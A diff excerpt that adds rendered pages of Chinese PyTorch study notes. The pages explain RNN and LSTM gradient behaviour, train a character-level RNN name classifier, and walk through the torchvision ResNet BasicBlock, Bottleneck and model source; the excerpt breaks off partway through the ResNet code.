由于我实现的 MyLSTM 与 nn.LSTM 有 254 的参数差,我本人并没能分析出来差别。 nn.LSTM 在实验时大概率比我的 MyLSTM 迭代更快,所以容易较早的过拟合,所以将其训练 epoch 砍半,也就是说 MyLSTM 使用 6 epoch 进行训练,而 nn.LSTM 使用 3 epoch 进行训练。两者可以达到基本相近的效果

+

另外在代码实现中 nn.LSTM 后面加了一个 nn.Linear 来实现二分类,参数量为 258, 所以 MyLSTM 和 LSTM 相差参数总量为 512。

+

nn.RNN​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称值
learning_rate0.0001
batch_size32
epoch12-18
input_size64
hidden_size128
num_classes2
+

此时: +nn.RNN 参数量: 25090

+

由于实验样本长度在 1000 上下, RNN 显示出来了极大的不稳定性,其中, 相较于 LSTM 更容易梯度爆炸、训练 epoch 更多、学习率需要调低等等问题,尽管如此依然不能保证稳定的良好结果。

+

举例来说,某学生学习阅读理解,要求根据文章内容回答文章的情感倾向,但是学生只喜欢看最后一句话,每次都根据最后一句话来回答问题,那么他基本上是等于瞎猜的,只能学到一点浅薄的知识。

+

实验结果​

+ + + + + + + + + + + + + + + +
MyLSTMnn.LSTMnn.RNN
0.860.800.67
+

关于梯度问题

+
    +
  • +

    RNN问题中,总的梯度是不会消失的。即便梯度越传越弱,那也是远处的梯度逐渐消失,而近距离的梯度不会消失,因此,梯度总和不会消失。RNN 梯度消失的真正含义是:梯度被近距离梯度所主导,导致模型难以学到远距离的依赖关系。

    +
  • +
  • +

    LSTM 上有多条信息流路径,其中,元素相加的路径的梯度流是最稳定的,而其他路径上与基本的 RNN 相类似,依然存在反复相乘问题。

    +
  • +
  • +

    LSTM 刚刚提出时不存在遗忘门。这时候历史数据可以在这条路径上无损的传递,可以将其视为一条 高速公路,类似于 ResNet 中的残差连接。

    +
  • +
  • +

    但是其他路径上, LSTM 与 RNN 并无太多区别,依然会爆炸或者消失。由于总的远距离梯度 = 各个路径的远距离梯度之和,因此只要有一条路的远距离梯度没有消失,总的远距离梯度就不会消失。可以说,LSTM 通过这一条路拯救了总的远距离梯度。

    +
  • +
  • +

    同样,总的远距离梯度 = 各个路径的远距离梯度之和,虽然高速路上的梯度流比较稳定,但是其他路上依然存在梯度消失和梯度爆炸问题。因此,总的远距离梯度 = 正常梯度 + 爆炸梯度 = 爆炸梯度,因此 LSTM 依然存在梯度爆炸问题。 但是由于 LSTM 的道路相比经典 RNN 来说非常崎岖, 存在多次激活函数,因此 LSTM 发生梯度爆炸的概率要小得多。实践中通常通过梯度剪裁来优化问题。

    +
  • +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/RNN详解及其实现/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/RNN详解及其实现/index.html new file mode 100644 index 0000000..5017dfc --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/RNN详解及其实现/index.html @@ -0,0 +1,116 @@ + + + + + +RNN详解及其实现.md | wjlin0 + + + + + + + +

RNN详解及其实现.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

文章结构

+

提及 RNN,绝大部分人都知道他是一个用于序列任务的神经网络,会提及他保存了时序信息,但是,为什么需要考虑时序的信息?为什么说 RNN 保存了时序的信息?RNN又存在哪些问题? 本篇内容将按照以下顺序逐步带你摸清 RNN 的细节之处,并使用 PyTorch 来完成一个自己的文本分类模型。

+
    +
  1. 为什么需要 RNN?
  2. +
  3. RNN 理解及其简单实现。
  4. +
  5. 用 RNN 完成文本分类任务。
  6. +
  7. RNN 存在的问题。
  8. +
+

为什么需要 RNN?

+

在现实生活的世界中,有很多的内容是有着前后关系的,比如你所阅读的这段文字,他并不是毫无理由的随机组合,而是我构思之后按顺序写下的一个个文字。除了文字之外,例如人的发音、物品的价格的曲线、温度变化等等,都是有着前后顺序存在的。

+

很明显,当知道了前面的信息,就可以对后面的信息进行合理的预测。比如,前十天温度都只有20度,明天的温度无论如何不可能零下;这个商品一年来价格都在30左右浮动,明天我去买他的时候,准备40就足够了;老师很好的表扬了你,紧跟着说了一个但是,你就知道他的内容要开始转折了。这就是隐藏在日常生活中的序列信息,因为已经知道了前面发生的内容,所以才可以推理后面的内容。

+

那么,可以用传统的多层感知机来处理序列问题吗?按照基本的多层感知机模型方案来实现,应该是这样的:将序列输入固定成一个 $d$ 维向量,就可以送入多层感知机进行学习,形如公式: +$$ +\mathbf{H} = \phi(\mathbf{X} \mathbf{W}{xh} + \mathbf{b}{h}) +$$ +公式中, $\phi$ 表示激活函数,$\mathbf{X} \in \mathbb{R}^{n \times d}$ 表示一组小批量样本,其中 $n$ 是样本大小, $d$ 表示输入的特征维度。:$\mathbf{W}_{xh} \in \mathbb{R}^{d \times h}$表示模型权重参数,$d \in \mathbb{R}^{1 \times h}$表示模型偏置。最后可以得到隐藏层输入:$\mathbf{H} \in \mathbb{R}^{n \times h}$,其中 $h$ 表示隐藏层大小。

+

紧接着,模型可以使用下面的公式进行计算,得到输出: +$$ +\mathbf{O} = \mathbf{H}\mathbf{W}_{hq} + \mathbf{b}_q +$$ +其中,$\mathbf{O} \in \mathbb{R}^{n \times q}$ 为模型输出变量,$q$ 表示输出层向量,由于本次的任务是一个文本分类任务,那这里 $q$ 就表示文本类别,可以使用 $\mathbf{Softmax(O)}$ 来进行概率预测。

+

但是,上面的流程有一个很明显的前置条件:固定成 $d$ 维向量,也就是说,传统的多层感知机,是不能对变长序列进行处理的。但是,在序列任务中,序列长短很明显是并不相同的,不仅需要用一天的数据预测明天的结果,也可能需要拿一年的数据预测明天的结果。在这样的情况下,如果还想要使用传统的多层感知机,就会面临着一个巨大的问题:如何将一天的内容与一年的内容变化成相同的 $d$ 维向量?

+

除此之外,序列信息可能还有另外一个情况:某些信息可能出现在序列的不同位置。虽然信息出现在不同的位置,但是他可能表达出了相同的含义。

+

举例来说:当我们和老师谈话时,如果他表扬了我们半小时,然后说:"但是...",我们往往是不担心的,因为他可能只是为了指出一些小问题。如果他刚刚表扬了一句话,紧接着就说“但是”,那我们就必须做好面对半小时的狂风暴雨。还有另外一种可能,老师可能连续批评你很久,然后使用“但是”转折,你就会在这时候如释重负,因为你知道这场谈话就快要结束了。这就是我们根据前文(表扬的内容和时间),在老师说出"但是"的时候,所作出的判断。

+

上面提到的两个问题,使用多层感知机本身似乎难以解决,但是所幸,RNN 从一个更常规的思路出发来解决这个问题:记住之前看到的内容,并结合当前看到的内容,来预测之后可能的内容。

+

RNN 理解及其简单实现

+

根据开篇的内容,相信你已经可以简单的理解为什么传统的多层感知机无法很好的解决序列信息,接下来我们开始理解,RNN 如何记忆之前的内容的。

+

在这里,我先放出 RNN 的公式,请将其与多层感知机公式进行对比: +$$ +\mathbf{H}t = \phi(\mathbf{X}t \mathbf{W}{xh} + \mathbf{H}{t-1} \mathbf{W}{hh} + \mathbf{b}h). +$$ +可以看到,与上一个公式相比,这里最明显的一点是多了一个 $\mathbf{H}{t-1} \mathbf{W}{hh}$ ,从公式上似乎很好理解,$\mathbf{H}_{t-1}$ 表示着前一时刻的隐藏状态,表示的是之前看到的内容,然后加上当前时刻的输入 $\mathbf{X}t$,就可以输出当前时刻的隐藏结果 $\mathbf{H}{t}$。在得到隐藏结果后,它就可以被用于下一步的计算。

+

当然,这个迭代过程也可能随时终止,如果将得到的隐藏结果用于输出,便可以直接得到输出结果,公式表达为: +$$ +\mathbf{O} = \phi(\mathbf{H}{t} \mathbf{W}{hq} + \mathbf{b}_q). +$$

+

可以看到,公式四与公式二极其相似,仅有隐藏状态 $\mathbf{H}$ 略有不同。

+

此时,根据以上公式及其理解,已经可以构建一个简单的 RNN 模型了:

+
class RNNDemo(nn.Module):
def __init__(self, input_size, hidden_size, output_size):
super(CharRNNClassify, self).__init__()

self.hidden_size = hidden_size
# 计算隐藏状态 H
# 因为要用以下一次计算,所以输出维度应该是 hidden_size
self.i2h = nn.Linear(input_size + hidden_size, hidden_size)
# 输出结果 O
self.i2o = nn.Linear(input_size + hidden_size, output_size)
self.softmax = nn.LogSoftmax(dim=1)
def forward(self, input, hidden):
# 将 X 和 Ht-1 合并
combined = torch.cat((input, hidden), 1)
# 计算 Ht
hidden = self.i2h(combined)
# 计算当前情况下的输出
output = self.i2o(combined)
# 分类任务使用 softmax 进行概率预测
output = self.softmax(output)
# 返回预测结果 和 当前的隐藏状态
return output, hidden
def initHidden(self):
# 避免随机生成的 H0 干扰后续结果
return torch.zeros(1, self.hidden_size)
+

辅助代码理解:根据公式三可知,$\mathbf{W}{xh}$ 和 $\mathbf{W}{hh}$ 在输入阶段时两者互不影响,所以在 self.i2h = nn.Linear(input_size + hidden_size, hidden_size) 中对输入的维度进行扩容,前 input_size 与公式 $\mathbf{W}{xh}$ 对应,而后面的 hidden_size 则是和 $\mathbf{W}{hh}$ 对应。

+

阅读代码之后,请根据代码和公式,来回忆第一部分提出的两个问题,通过回答这两个问题,就可以进一步的分析 RNN。

+

第一个问题是对于不同的序列长度,如何进行处理其向量表示:

+

从公式中可以看到,RNN 并不要求不同的序列表示成相同的维度,而是要求序列中的每一个值,表示成为相同的维度,这样,我们可以将在 $t$ 时刻输入的值视为的 $\mathbf{X}t$,并且结合之前时刻输入并计算得来的隐藏状态 $\mathbf{H}{t-1}$,得到当前时刻的结果,这样无论序列实际长度如何,我们随时可以在想要中断的时候将隐藏状态转变成输出的结果,甚至我们可以在输入的同时,得到输出的结果。 +【图片,待补充】

+

第二个问题,某些信息可能出现在序列的不同位置,但是其表达的含义是相同的:

+

对于这个问题,单独查看公式与代码可能不太好理解,但是可以从卷积神经网络中得到一定的灵感。

+

卷积神经网络具有平移等变性,也就是说输入的 $\mathbf{X}$ 不会因为位置的变化而导致输出的不同,这得益于卷积核使用了参数共享,无论图片哪个位置进行输入,只要卷积核的参数不变,输入值就不变,其结果就不会发生变化。

+

扭回头来看 RNN 中,其 $\mathbf{X}$ 与 $\mathbf{H}$ 所使用的权重矩阵一直是一个,也就是说 $\mathbf{W}{xh}$ 和 $\mathbf{W}{hh}$ 是参数共享的,那么无论从序列的哪个位置进行输入,只要输入内容完全一样,其输出结果也就是完全一样的的。

+

在理解了 RNN 来龙去脉之后,接下来开始从 RNN 的在实际文本分类中进行更深入的分析。(注:该样例源自 Torch 官方教程)。

+

RNN 完成文本分类任务

+

完成一个基本的算法任务,有以下流程:数据分析、数据转换、构建模型、定义训练函数、执行训练、保存模型、评估模型。

+

这里摘取官方教程中部分关键代码进行讲解,可以直接点击这里直接下载官方 notebook进行训练。训练所用数据位于这里。

+

在 notebook 第一个可执行 cell 中,首先定义了可用字符 all_letters 和 可用字符数量 n_letters 。同时,将下载的数据转为 ASCII 编码,使用 Dict l类型进行存储。其保存格式为:{language: [names ...]}。

+

在第三个 cell 中,定义了三个方法,主要目的是将由 $n$ 个字符组成的句子变成一个 $n \times d$ 的向量,其中 $d$ 表示字符特征,在这里使用 One-Hot 编码。由于 One-Hot 编码形为 $1 \times n_letters$,则最终形状为 $n \times 1 \times n_letters$。

+

第四个 Cell 中,定义了基本的 RNN 模型的代码与上方代码一致,并设置隐藏层大小为128。接下来的第五个和第六个可执行 Cell中,对于 RNN 进行简单的测试。

+

在这里,简单的讲解第六个 Cell,第六个 Cell 代码如下:

+
# 将 Albert 转为 6 * 1 * n_letters 的 Tensor
input = lineToTensor('Albert')
# 设置 h0 全零的原因在上面提到过
hidden = torch.zeros(1, n_hidden)
# 获取 output 和 h1
output, next_hidden = rnn(input[0], hidden)
print(output)
+

第三行中 rnn(input[0], hidden),输入了首字母 也就是 'A' 的 One-Hot 编码,输出 output 是下一个字符可能是什么的概率,而 next-hidden 则是 用于搭配 input[1] 进行下一步输入训练的模型。

+

跳过七八九三个 Cell 后,我们再对 train 所在的 Cell 进行分析,下面是相关代码:

+
# 设置学习率
learning_rate = 0.005
# 输入参数中, categor_tensor 表示类别,用以计算 loss
# line_tensor 是由一句话所转变的 tensor, shape: n * 1 * n_letter
def train(category_tensor, line_tensor):
# 设置 H0
hidden = rnn.initHidden()
# 梯度清零
rnn.zero_grad()
# 将字符挨个输入
for i in range(line_tensor.size()[0]):
output, hidden = rnn(line_tensor[i], hidden)
# 计算损失
loss = criterion(output, category_tensor)
# 梯度回传
loss.backward()

# Add parameters' gradients to their values, multiplied by learning rate
# 这里其实是一个手动的优化器 optimizer
for p in rnn.parameters():
p.data.add_(p.grad.data, alpha=-learning_rate)

return output, loss.item()
+

结合注释,进一步观察代码,可以看到,对于一个变长序列,在输入最后一个字符之前,都使用 hidden 作为输出用于下一步的计算,也就是将历史信息带入下一轮训练中去,而在最后一个字符输入结束后,使用 outpt 作为输出,进行文本分类的预测。

+

在 train 中的代码进行了对一句话进行了单独的训练,而实际过程中,我们要对多个句子进行训练,在示例代码中,采用随机采样法,从全部数据中随机提取一句话进行训练,并得到最终结果:

+
import time
import math
# 迭代次数
n_iters = 100000
# 输出频率
print_every = 5000
# loss计算频率
plot_every = 1000

# Keep track of losses for plotting
current_loss = 0
all_losses = []

def timeSince(since):
now = time.time()
s = now - since
m = math.floor(s / 60)
s -= m * 60
return '%dm %ds' % (m, s)
# 开始时间
start = time.time()

for iter in range(1, n_iters + 1):
# 使用随机采样提取一句话及其标签
category, line, category_tensor, line_tensor = randomTrainingExample()
# 训练
output, loss = train(category_tensor, line_tensor)
# 计算loss
current_loss += loss

# Print iter number, loss, name and guess
# 输出阶段结果
if iter % print_every == 0:
guess, guess_i = categoryFromOutput(output)
correct = '✓' if guess == category else '✗ (%s)' % category
print('%d %d%% (%s) %.4f %s / %s %s' % (iter, iter / n_iters * 100, timeSince(start), loss, line, guess, correct))

# Add current loss avg to list of losses
# 保存阶段性 loss
if iter % plot_every == 0:
all_losses.append(current_loss / plot_every)
current_loss = 0
+

到这里,RNN 训练的代码可以说讲解结束了,保存以及推理在理解了训练的过程上并不算难事,所以不再进行讲解。

+

接下来再根据文本分类任务对 RNN 进行一次分析。可以看到,在本次任务中,一个单独的词作为一个序列,每个词的长短不一并不会影响 RNN 的训练过程,而序列中的值,则是字符,每个字符都构成了相同的向量: $1 \times d$ ,这使得训练的过程也比较的统一。

+

再简单的举一反三,可以结合之前所学的 word2vec、Glovec 等模型将词语转为向量,将一句话转为一个序列,每个词转为序列中的一个值,这样的话,就可以对一句话进行文本分类了。

+

RNN 存在的问题

+

前面讲解了 RNN 是如何解决简单神经网络无法处理序列问题的,但是 RNN 是否就完美无缺?能应用于全部的序列任务了呢?答案当然是否定的。

+

这是由于 RNN 存在一个巨大的缺陷:梯度爆炸与梯度消失。

+

重新审查代码与公式,可以很轻松的发现,在序列达到末尾时,我们才需要计算损失与进行梯度回传,此时将 $\mathbf{H}t$ 展开,其内部存在 $\mathbf{W}{hh} \times \mathbf{H}{t-1}$。而将 $\mathbf{H}{t-1}$ 展开,也存在一个 $\mathbf{W}{hh}$,那么很明显 如果 $\mathbf{W}{hh}$ 大于 1,在经过 $t$ 次连乘之后会产生梯度爆炸,如果 $\mathbf{W}{hh}$ 小于 1,在经过 $t$ 次连乘之后又会产生梯度消失。同理,在 $\mathbf{W}{xh}$ 上,也存在这样的依赖关系,也会导致梯度爆炸或者消失。

+

梯度的消失也可以这样思考:前方节点的隐藏信息总和占了 0.5,而当前节点隐藏信息占了 0.5,随着序列长度的增加,位于开始部分节点的隐藏信息占比几乎是指数型下降,从 1/2 到 1/4 到 1/8,以此类推。可以参考下图尝试理解。因此,在 RNN 中,梯度消失就成了一个比梯度爆炸更关注的难题,因为这使得模型只能记得离自己最近的几个节点的状态,而很难考虑更远一步的状态,无法更好的关联上下文信息。

+

为了解决这个问题,我们可以考虑使用 梯度剪裁的方式保证梯度传递过程中不大于1,从而使得梯度不会爆炸,但是,我们无法阻止梯度的消失。当然,也可以查看下一篇,针对 RNN 进行优化的 LSTM、GRU 等算法

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/ResNet源码解读/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/ResNet源码解读/index.html new file mode 100644 index 0000000..f3d3fd6 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/ResNet源码解读/index.html @@ -0,0 +1,142 @@ + + + + + +ResNet源码解读.md | wjlin0 + + + + + + + +

ResNet源码解读.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

ResNet源码解读

+

本文对残差神经网络(ResNet)的源码进行解读。残差神经网络是由微软研究院的何恺明、张祥雨、任少卿、孙剑等人提出的。它的主要贡献是发现了在增加网络层数的过程中,‎随着训练精度(Training accuracy)‎逐渐趋于饱和,继续增加层数,training accuracy 就会出现下降的现象,而这种下降不是由过拟合造成的。他们将这一现象称之为“退化现象(Degradation)”,并针对退化现象发明了 “快捷连接(Shortcut connection)”,极大的消除了深度过大的神经网络训练困难问题。神经网络的“深度”首次突破了100层、最大的神经网络甚至超过了1000层。(在此,向已故的孙剑博士表示崇高的敬意)

+

通过本文你将学习到:

+
    +
  • +

    梯度消失/爆炸的简介

    +
  • +
  • +

    代码里面为什么要设计BasicBlock和Bottleneck两种结构

    +
  • +
  • +

    代码里面的expansion作用

    +
  • +
+

1 基本介绍​

+

随着卷积神经网络的出现,人们发现多层卷积或者全连接网络的效果大于单层卷积或者全连接网络。于是很多人潜意识认为网络的层数越多,其效果就会越好。但是当时微软研究院的何恺明、张祥雨、任少卿、孙剑等人发现加深网络的深度后,整个网络的效果反而变差了许多。他们认为很深的网络无法训练的原因可能是网络在信息传递的时候或多或少会存在信息丢失,损耗等问题,同时还可能出现梯度消失或者梯度爆炸现象。针对这个问题,他们提出了ResNet以期望解决这个问题,ResNet的出现也让神经网络逐渐真正走向深度神经网络。ResNet最大的贡献在于添加了shortcut connection将输入直接连接到后面的层,一定程度缓解了梯度消失和梯度爆炸并提高了深度神经网络的效果。接下来我们详细的解释一下梯度消失和梯度爆炸。

+

梯度消失和梯度爆炸的根源主要是因为深度神经网络结构以及反向传播算法,目前优化神经网络的方法都是基于反向传播的思想,即根据损失函数计算的误差通过反向传播的方式,指导深度网络权值的更新。误差梯度是神经网络训练过程中计算的方向和数量,用于以正确的方向和合适的量更新网络权重。 在深层网络或循环神经网络中,误差梯度可在更新中累积,变成非常大的梯度,然后导致网络权重的大幅更新,并因此使网络变得不稳定。在极端情况下,权重的值变得非常大,以至于溢出,导致 NaN 值。 网络层之间的梯度(值大于 1.0)重复相乘导致的指数级增长会产生梯度爆炸。 在深度多层感知机网络中,梯度爆炸会引起网络不稳定,最好的结果是无法从训练数据中学习,而最坏的结果是出现无法再更新的 NaN 权重值。

+

而在某些情况下,梯度会变得非常小, 网络层之间的梯度(值小于 1.0)重复相乘导致的指数级变小会产生梯度消失。在最坏的情况下,这可能会完全停止神经网络的进一步训练。例如,传统的激活函数(如双曲正切函数)具有范围(0,1)内的梯度,反向传播通过链式法则计算梯度。这样做的效果是,用这些小数字的n乘以n来计算n层网络中“前端”层的梯度,这意味着梯度(误差信号)随n呈指数递减,而前端层的训练非常缓慢。最终导致更新停滞。

+

2 源码解读​

+

为了帮助大家对ResNet有更好的理解,我们使用torchvision的ResNet源码进行解读。

+

2.1 卷积核的封装​

+

在代码的开始,首先封装了3x3和1x1的卷积核,这样可以增加代码的可读性。除了这种代码写法外,还有许多深度学习代码在开始也会将卷积层,激活函数层和BN层封装在一起,同样是为了增加代码的可读性。

+
def conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:
"""3x3 convolution with padding"""
return nn.Conv2d(
in_planes,
out_planes,
kernel_size=3,
stride=stride,
padding=dilation,
groups=groups,
bias=False,
dilation=dilation,
)


def conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:
"""1x1 convolution"""
return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)
+

2.2 基本模块的设计​

+

ResNet网络是由很多相同的模块堆叠起来的,为了保证代码具有可读性和可扩展性,ResNet在设计时采用了模块化设计,针对不同大小的ResNet,书写了BasicBlock和BottleNeck两个基本模块。这种模块化的设计在现在许多常见的深度学习代码中我们可以经常看到。

+

ResNet常见的大小有下图的ResNet-18,ResNet-34,ResNet-50、ResNet-101和ResNet-152,其中网络后面的数字代表的是网络的层数。

+

expansion

+

为了帮助大家更好的理解,我们以ResNet101为例。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
layer_name次数
conv1卷积1次
conv2_x卷积3 x 3 = 9次
conv3_x卷积4 x 3 = 12次
conv4_x卷积23 x 3 = 69次
conv5_x卷积3 x 3 = 9次
fcaverage pool 1次
合计1 + 9 + 12 + 69 + 9 + 1 = 101次
+

观察上面各个ResNet的模块,我们可以发现ResNet-18和ResNet-34每一层内,数据的大小不会发生变化,但是ResNet-50、ResNet-101和ResNet-152中的每一层内输入和输出的channel数目不一样,输出的channel扩大为输入channel的4倍,除此之外,每一层的卷积的大小也变换为1,3,1的结构。基于这个发现,我们可以将ResNet-18和ResNet-34的构成模块当作一类,ResNet-50、ResNet-101和ResNet-152这三类网络的构成模块当作一类。事实上,torchvision的源码也是基于这种设计思想,使用如下图的BasicBlock(左)和BottleNeck(右)模块,并且为了控制输入和输出的通道数目的变化,在代码中输出的通道维度也通过expansion进行控制,两个block类输入一个通道为in_planes维的度特征图,输出一个planes*block.expansion维的特征图,其中planes的数目大小等于in_planes。除此以外,代码右侧的曲线就是本文最重要的shortcut支路,该支路上的downsample操作是为了对shortcut支路进行大小或维度上的调整,以希望执行相加操作

+

block

+

2.2.1 Shortcut Connection.​

+

这里再分析一下shortcut connection:

+

shortcut

+

shortcut connection也就是所谓的“抄近道”,它有两种方式,其一为同等维度的映射,即输入输出直接相加(即上图中的F(x) + x),另一种为不同维度的映射,这时候就需要给x补充一个线性映射来匹配维度。

+

比如下面这个图:

+ +

左:VGG-19模型,作为参考。 中:一个有34个参数层的普通网络。 右:一个有34个参数层的残差网络(即resnet34)

+

在上图最右侧的路径中,我们可以很明显的看到shortcut connection加入了网络之中,同时,图中也很明显的可以看到,实线部分就是进行了单纯的F(x)+x操作,而虚线部分,第一个卷积层的stride是2(那个/2的意思就是stride是2);同时注意到深度也发生了变换,channel数目增加一倍(扩大两倍),这样F(x)的分辨率比x小一半,厚度比x大一倍。在这样的shortcut connection中,就需要补充线性映射来增加维度。在ResNet中,作者使用了1 x 1的卷积核来达到这个目的。

+

另外,论文中又提到说:“……where both designs have similar time complexity.” 既然BasicBlock和Bottleneck二者的时间复杂度类似,那么为什么还要额外设计一个Bottleneck结构呢?

+

根据前面的叙述我们知道,BasicBlock结构比传统的卷积结构多了一个shortcut支路,用于传递低层的信息,使得网络能够训练地很深。而BottleNeck先通过一个1x1的卷积减少通道数,使得中间卷积的通道数减少为1/4;中间的普通卷积做完卷积后输出通道数等于输入通道数;第三个卷积用于恢复通道数,使得BottleNeck的输出通道数等于BottleNeck的输入通道数。**换句话说,这两个1x1卷积有效地减少了卷积的参数个数和计算量,同时减少了中间特征图的通道数,使单个Block消耗的显存更少,在较深的网络中BottleNeck会在参数上更加节约,这样可以有利于构建层数更多的网络,同时还能保持性能的提升。**所以resnet50, resnet101和resnet152使用了另外设计的BottleNeck结构。

+

2.2.2 BasicBlock​

+

BasicBlock模块用来构建resnet18和resnet34

+
class BasicBlock(nn.Module):
expansion: int = 1

def __init__(
self,
inplanes: int,
planes: int,
stride: int = 1,
downsample: Optional[nn.Module] = None,
groups: int = 1,
base_width: int = 64,
dilation: int = 1,
norm_layer: Optional[Callable[..., nn.Module]] = None,
) -> None:
super().__init__()
if norm_layer is None:
norm_layer = nn.BatchNorm2d
if groups != 1 or base_width != 64:
raise ValueError("BasicBlock only supports groups=1 and base_width=64")
if dilation > 1:
raise NotImplementedError("Dilation > 1 not supported in BasicBlock")
# Both self.conv1 and self.downsample layers downsample the input when stride != 1
self.conv1 = conv3x3(inplanes, planes, stride)
self.bn1 = norm_layer(planes)
self.relu = nn.ReLU(inplace=True)
self.conv2 = conv3x3(planes, planes)
self.bn2 = norm_layer(planes)
self.downsample = downsample
self.stride = stride

def forward(self, x: Tensor) -> Tensor:
identity = x # x 给自己先备份一份

out = self.conv1(x) # 对x做卷积
out = self.bn1(out) # 对x归一化
out = self.relu(out) # 对x用激活函数

out = self.conv2(out) # 对x做卷积
out = self.bn2(out) # 归一化

if self.downsample is not None:
identity = self.downsample(x)

out += identity # 进行downsample
out = self.relu(out)

return out
+

2.2.3 BottleNeck​

+

BottleNeck模块用来构建resnet50,resnet101和resnet152

+
class Bottleneck(nn.Module):
# Bottleneck in torchvision places the stride for downsampling at 3x3 convolution(self.conv2)
# while original implementation places the stride at the first 1x1 convolution(self.conv1)
# according to "Deep residual learning for image recognition"https://arxiv.org/abs/1512.03385.
# This variant is also known as ResNet V1.5 and improves accuracy according to
# https://ngc.nvidia.com/catalog/model-scripts/nvidia:resnet_50_v1_5_for_pytorch.

expansion: int = 4 # 对输出通道进行倍增

def __init__(
self,
inplanes: int,
planes: int,
stride: int = 1,
downsample: Optional[nn.Module] = None,
groups: int = 1,
base_width: int = 64,
dilation: int = 1,
norm_layer: Optional[Callable[..., nn.Module]] = None,
) -> None:
super().__init__()
if norm_layer is None:
norm_layer = nn.BatchNorm2d
width = int(planes * (base_width / 64.0)) * groups
# Both self.conv2 and self.downsample layers downsample the input when stride != 1
self.conv1 = conv1x1(inplanes, width)
self.bn1 = norm_layer(width)
self.conv2 = conv3x3(width, width, stride, groups, dilation)
self.bn2 = norm_layer(width)
self.conv3 = conv1x1(width, planes * self.expansion)
self.bn3 = norm_layer(planes * self.expansion)
self.relu = nn.ReLU(inplace=True)
self.downsample = downsample
self.stride = stride

# Bottleneckd forward函数和BasicBlock类似,不再额外注释
def forward(self, x: Tensor) -> Tensor:
identity = x

out = self.conv1(x)
out = self.bn1(out)
out = self.relu(out)

out = self.conv2(out)
out = self.bn2(out)
out = self.relu(out)

out = self.conv3(out)
out = self.bn3(out)

if self.downsample is not None:
identity = self.downsample(x)

out += identity
out = self.relu(out)

return out
+

我们在这里再对代码中expansion的作用做一个说明,我们可以重新回顾一下下面这张图。

+

+

expansion简单来说就是对输出通道的倍乘。在BasicBlock和BottleNeck中,“__init__”函数中有三个比较关键的参数:inplanes,planes和stride,这三者分别表示输入的通道数,输出的通道数和步幅。在两个模块中,__init__传入的planes都是64,128,156,512,但我们观察上面的表格,会发现对于ResNet-50,ResNet-101和ResNet-152而言,它们需要的输出通道应该为256,512,1024,2048才对。因此在这里设置expansion=4,对应上面BottleNeck代码中的30行和31行,将每一个planes都乘上这个expansion,就得到了需要的通道数;而对于ResNet-18和ResNet-34而言,输入通道和输出通道的维度上没有发生变化,因此expansion也设置为1。

+

2.3 网络整体结构​

+

在定义好最基本的Bottlenneck和BasicBlock后,我们就可以构建ResNet网络了。

+
class ResNet(nn.Module):
def __init__(
self,
block: Type[Union[BasicBlock, Bottleneck]], # 选择基本模块
layers: List[int], # 每一层block的数目构成 -> [3,4,6,3]
num_classes: int = 1000, # 分类数目
zero_init_residual: bool = False, # 初始化

#######其他卷积构成,与本文ResNet无关######
groups: int = 1,
width_per_group: int = 64,
replace_stride_with_dilation: Optional[List[bool]] = None,
#########################################

norm_layer: Optional[Callable[..., nn.Module]] = None, # norm层
) -> None:
super().__init__()
_log_api_usage_once(self)
if norm_layer is None:
norm_layer = nn.BatchNorm2d
self._norm_layer = norm_layer

self.inplanes = 64 # 输入通道

#######其他卷积构成,与本文ResNet无关######
self.dilation = 1 # 空洞卷积
if replace_stride_with_dilation is None:
# each element in the tuple indicates if we should replace
# the 2x2 stride with a dilated convolution instead
replace_stride_with_dilation = [False, False, False]
if len(replace_stride_with_dilation) != 3:
raise ValueError(
"replace_stride_with_dilation should be None "
f"or a 3-element tuple, got {replace_stride_with_dilation}"
)
self.groups = groups
self.base_width = width_per_group
#########################################

self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False)
self.bn1 = norm_layer(self.inplanes)
self.relu = nn.ReLU(inplace=True)
self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
# 通过_make_layer带到层次化设计的效果
self.layer1 = self._make_layer(block, 64, layers[0]) # 对应着conv2_x
self.layer2 = self._make_layer(block, 128, layers[1], stride=2, dilate=replace_stride_with_dilation[0]) # 对应着conv3_x
self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilate=replace_stride_with_dilation[1]) # 对应着conv4_x
self.layer4 = self._make_layer(block, 512, layers[3], stride=2, dilate=replace_stride_with_dilation[2]) # 对应着conv5_x
# 分类头
self.avgpool = nn.AdaptiveAvgPool2d((1, 1))
self.fc = nn.Linear(512 * block.expansion, num_classes)

# 模型初始化
for m in self.modules():
if isinstance(m, nn.Conv2d):
nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")
elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):
nn.init.constant_(m.weight, 1)
nn.init.constant_(m.bias, 0)

# Zero-initialize the last BN in each residual branch,
# so that the residual branch starts with zeros, and each residual block behaves like an identity.
# This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677
if zero_init_residual:
for m in self.modules():
if isinstance(m, Bottleneck) and m.bn3.weight is not None:
nn.init.constant_(m.bn3.weight, 0) # type: ignore[arg-type]
elif isinstance(m, BasicBlock) and m.bn2.weight is not None:
nn.init.constant_(m.bn2.weight, 0) # type: ignore[arg-type]
# 层次化设计
def _make_layer(
self,
block: Type[Union[BasicBlock, Bottleneck]], # 基本构成模块选择
planes: int, # 输入的通道
